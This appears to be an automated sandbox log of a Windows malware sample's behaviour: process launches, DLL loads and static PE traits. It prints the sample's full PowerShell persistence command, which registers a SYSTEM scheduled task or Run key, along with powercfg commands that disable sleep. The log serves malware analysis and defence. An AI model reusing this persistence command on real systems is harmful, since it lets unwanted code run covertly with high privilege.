Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe xcgkmjxjdowq	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe gzssianthtxzdggz 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvug8Rp3hiani4Twfqfj5pfOQ4C5/lIR+WrKX/39lFBfrYgVA5xlELaQrgfEYI/1+l+sm6d1wY+jp8lQ+gyInBZtRryf27JkgwVg8+gc8zt/+Qw/FqR21gXGsiWp5M1/PaUO8B8L/yFa9vhQOOMQzU9osOZwr+lVWCnvU0S6ajO3l3PA+IO3tZ+KIHzg9oJDykmRT9FPoLVpg3f2E+S/d4wYAneGaTBaw9u+h7ySSQW4uLa2RdrQlsNvaothGQq4OkU9/7weTT4gwdlFYcJqzkf6CrPgHCU2Z2X/1LqnGA0Z/oGM3RQZ3KFMH6aI6u72Mx/Roo9xz5ogo8pI2aMP1z57eBCyYbXyiGT0rCG540iwNf53KRDw5r+qu9TX7DnABrUnuCbtJtyaOErrfhHdH0mzc3oHhwbzk+xXdFEnj5LezfN80ibSpckaUWKu/Nc8n5n3862TFcZoV3+5pG7wnvACa9eswJk6IY7ANEpRFN9HJzRPurRT3aTK7NgnMwc4gmU=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic PATH Win32_VideoController GET Name, VideoProcessor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\xjfgcnhmcvxy.exe	Directory created: C:\Program Files\Google\Libs			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Directory created: C:\Program Files\Google\Libs\g.log

Source: ahlntQUj2t.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: ahlntQUj2t.exe

Static file information: File size 2137088 > 1048576

Source: ahlntQUj2t.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1fba00

Source: ahlntQUj2t.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WR64.sys.16.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydxtfs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GQFENPEL" } Else { "C:\Program Files\xjfgcnhmcvxy.exe" }
